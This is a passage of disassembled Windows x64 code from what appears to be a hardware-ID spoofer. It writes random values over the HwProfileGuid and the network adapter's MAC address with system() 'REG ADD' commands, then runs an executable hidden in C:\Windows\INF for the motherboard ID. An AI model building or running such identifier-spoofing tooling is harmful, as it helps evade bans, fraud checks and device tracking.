mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140002788
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002782
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a96
call fcn.140004a90
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x1400027ca
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a9d
call fcn.140004a90
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140002805
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002800
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003aa4
call fcn.140004a90
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140002851
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000284b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003aab
call fcn.140004a90
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000288d
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002887
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ab2
call fcn.140004a90
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x1400028cf
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ab9
call fcn.140004a90
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14000290c
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002907
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ac0
call fcn.140004a90
lea rdx, str._nChanging_HwProfileGuid
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Beep]
cmp r15, 2
jb 0x140003b76
lea r14, [rbp + 0x160]
cmp byte [rsp + 0x30], 0
mov r15, qword [rsp + 0x58]
cmovne r14, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
lea rsi, [r13 + 2]
mov ebx, 0xf
lea rdi, [rsp + 0x38]
cmp rsi, rbx
jbe 0x140002a07
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x1400029ab
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400029d2
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400029f1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b94
mov rcx, rax
call fcn.140004a98
test rax, rax
je 0x140003b0d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002a02
test rcx, rcx
je 0x140002a00
call fcn.140004a98
mov rdi, rax
jmp 0x140002a02
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rbx
mov word [rdi], 0x7b22
lea rcx, [rdi + 2]
mov r8, r13
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
bts r12d, 8
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140002a6e
lea rax, [rcx + 2]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov word [rax + rcx], 0x7d22
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x38]
jmp 0x140002a8d
mov qword [rsp + 0x20], 2
lea r9, [0x140006d60]
mov edx, 2
lea rcx, [rsp + 0x38]
call fcn.140004170
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
xor r13d, r13d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
bts r12d, 9
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea r8d, [r13 + 2]
lea rdx, [0x140006d08]
lea rcx, [rbp - 0x40]
call fcn.140003e80
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea r8d, [r13 + 0x47]
lea rdx, str.HKLMSYSTEMCurrentControlSetControlIDconfigDBHardware_Profiles0001
lea rcx, [rbp - 0x20]
call fcn.140003e80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r13
lea r8d, [r13 + 1]
lea r14, [0x140006ce4]
mov rdx, r14
lea rcx, [rbp + 0x60]
call fcn.140003e80
nop
mov r8, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
sub rax, r8
lea rsi, str.REG_ADD
cmp rax, 8
jb 0x140002bba
lea rax, [r8 + 8]
mov qword [rbp + 0x70], rax
lea rbx, [rbp + 0x60]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x60]
lea rax, [0x140006d40]
cmp rax, rbx
jbe 0x140002b79
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140002b79
cmp rbx, rsi
ja 0x140002b71
mov edi, r13d
jmp 0x140002b7e
mov rdi, rbx
sub rdi, rsi
jmp 0x140002b7e
mov edi, 8
lea rcx, [rbx + 8]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 8
sub r8, rdi
lea rdx, [rsi + 8]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x60]
jmp 0x140002bd6
mov qword [rsp + 0x28], 8
mov qword [rsp + 0x20], rsi
mov edx, 8
lea rcx, [rbp + 0x60]
call fcn.1400047f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0xa
lea r9, [rbp - 0x20]
lea r8, [rbp + 0xa0]
lea rcx, [rbp + 0xe0]
call fcn.140004340
bts r12d, 0xb
lea r9, [rbp - 0x40]
lea r8, [rbp + 0xe0]
lea rcx, [rbp - 0x60]
call fcn.140004340
bts r12d, 0xc
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1e
jb 0x140002c7f
lea rax, [rcx + 0x1e]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x60]
add rbx, rcx
mov r8d, 0x1e
lea rdx, str._v_HwProfileGuid__t_REG_SZ__d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1e], 0
lea rax, [rbp - 0x60]
jmp 0x140002c9d
mov qword [rsp + 0x20], 0x1e
lea r9, str._v_HwProfileGuid__t_REG_SZ__d
mov edx, 0x1e
lea rcx, [rbp - 0x60]
call fcn.140004170
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0xd
lea r9, [rbp + 0x20]
lea r8, [rbp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.140004340
bts r12d, 0xe
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140002d31
lea rax, [rcx + 3]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 3
lea rdx, [0x140006ce0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x60]
jmp 0x140002d50
mov qword [rsp + 0x20], 3
lea r9, [0x140006ce0]
mov edx, 3
lea rcx, [rsp + 0x60]
call fcn.140004170
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0xf
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002dd1
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ac7
call fcn.140004a90
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002e1e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ace
call fcn.140004a90
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140002e73
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ad5
call fcn.140004a90
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002eae
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ea9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003adc
call fcn.140004a90
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140002f00
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002efa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ae3
call fcn.140004a90
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140002f42
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003aea
call fcn.140004a90
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140002f7d
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003af1
call fcn.140004a90
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140002fc9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003af8
call fcn.140004a90
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140003005
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003aff
call fcn.140004a90
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140003041
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000303b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b06
call fcn.140004a90
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14000307e
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003079
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b0d
call fcn.140004a90
lea rdx, str._nChanging_MacAddr
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Beep]
nop
movdqa xmm0, xmmword [str.0123456789abcdef_]
movdqu xmmword [rbp - 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
bts r12d, 0x10
mov dword [rsp + 0x58], r12d
mov ebx, 0xc
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400030f4
dec eax
or eax, 0xfffffff0
inc eax
cdqe
movzx r9d, byte [rbp + rax - 0x60]
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
cmp rcx, rdx
jae 0x140003129
lea rax, [rcx + 1]
mov qword [rbp + 0x10], rax
lea rax, [rbp]
cmp rdx, 0xf
cmova rax, qword [rbp]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140003132
lea rcx, [rbp]
call fcn.140004010
sub rbx, 1
jne 0x1400030e0
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400031c6
lea r8, [rcx + 1]
mov qword [rbp + 0x10], r8
lea rbx, [rbp]
cmp rdx, 0xf
cmova rbx, qword [rbp]
lea rax, [0x140006ce5]
cmp rax, rbx
jbe 0x140003188
lea rax, [rbx + rcx]
cmp r14, rax
ja 0x140003188
cmp rbx, r14
ja 0x140003180
mov rdi, r13
jmp 0x14000318d
mov rdi, rbx
sub rdi, r14
jmp 0x14000318d
mov edi, 1
lea rcx, [rbx + 1]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 1
sub r8, rdi
lea rdx, [r14 + 1]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp]
jmp 0x1400031e2
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
mov edx, 1
lea rcx, [rbp]
call fcn.1400047f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0x11
mov dword [rsp + 0x58], r12d
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140003259
lea rax, [rcx + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x38]
jmp 0x140003274
mov qword [rsp + 0x20], 1
mov r9, r14
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140004170
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0x12
mov dword [rsp + 0x58], r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
mov r8d, 2
lea rdx, [0x140006d08]
lea rcx, [rbp + 0x20]
call fcn.140003e80
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
mov r8d, 0x57
lea rdx, str.HKLMSYSTEMCurrentControlSetControlClass4d36e972_e325_11ce_bfc1_08002be103180001
lea rcx, [rbp - 0x20]
call fcn.140003e80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r13
mov r8d, 1
mov rdx, r14
lea rcx, [rbp + 0x80]
call fcn.140003e80
nop
mov r8, qword [rbp + 0x90]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
sub rax, r8
cmp rax, 8
jb 0x1400033c3
lea rax, [r8 + 8]
mov qword [rbp + 0x90], rax
lea rbx, [rbp + 0x80]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x80]
lea rax, [0x140006d40]
cmp rax, rbx
jbe 0x14000337f
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x14000337f
cmp rbx, rsi
ja 0x140003377
mov rdi, r13
jmp 0x140003384
mov rdi, rbx
sub rdi, rsi
jmp 0x140003384
mov edi, 8
lea rcx, [rbx + 8]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 8
sub r8, rdi
lea rdx, [rdi + 8]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x80]
jmp 0x1400033e2
mov qword [rsp + 0x28], 8
mov qword [rsp + 0x20], rsi
mov edx, 8
lea rcx, [rbp + 0x80]
call fcn.1400047f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0x13
mov dword [rsp + 0x58], r12d
lea r9, [rbp - 0x20]
lea r8, [rbp + 0xa0]
lea rcx, [rbp + 0x100]
call fcn.140004340
bts r12d, 0x14
mov dword [rsp + 0x58], r12d
lea r9, [rbp + 0x20]
lea r8, [rbp + 0x100]
lea rcx, [rbp - 0x40]
call fcn.140004340
bts r12d, 0x15
mov dword [rsp + 0x58], r12d
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1f
jb 0x14000349a
lea rax, [rcx + 0x1f]
mov qword [rbp - 0x30], rax
lea rbx, [rbp - 0x40]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x40]
add rbx, rcx
mov r8d, 0x1f
lea rdx, str._v_NetworkAddress__t_REG_SZ__d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1f], 0
lea rax, [rbp - 0x40]
jmp 0x1400034b8
mov qword [rsp + 0x20], 0x1f
lea r9, str._v_NetworkAddress__t_REG_SZ__d
mov edx, 0x1f
lea rcx, [rbp - 0x40]
call fcn.140004170
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0x16
mov dword [rsp + 0x58], r12d
lea r9, [rbp + 0xe0]
lea r8, [rbp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.140004340
bts r12d, 0x17
mov dword [rsp + 0x58], r12d
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140003559
lea rax, [rcx + 3]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 3
lea rdx, [0x140006ce0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x60]
jmp 0x140003578
mov qword [rsp + 0x20], 3
lea r9, [0x140006ce0]
mov edx, 3
lea rcx, [rsp + 0x60]
call fcn.140004170
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0x18
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400035f9
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b14
call fcn.140004a90
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003646
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003641
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b1b
call fcn.140004a90
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000369b
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003695
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b22
call fcn.140004a90
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400036d6
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b29
call fcn.140004a90
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140003728
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003722
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b30
call fcn.140004a90
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000376a
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003764
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b37
call fcn.140004a90
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x1400037ab
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b3e
call fcn.140004a90
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140003800
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b45
call fcn.140004a90
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000383c
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003836
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b4c
call fcn.140004a90
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14000387e
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003878
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b53
call fcn.140004a90
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400038bb
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b5a
call fcn.140004a90
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
btr r12d, 0x10
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000390e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003909
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b61
call fcn.140004a90
lea rdx, str._nChanging_motherboard_id__may_not_work_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.C:WindowsINFdr43.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400067f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
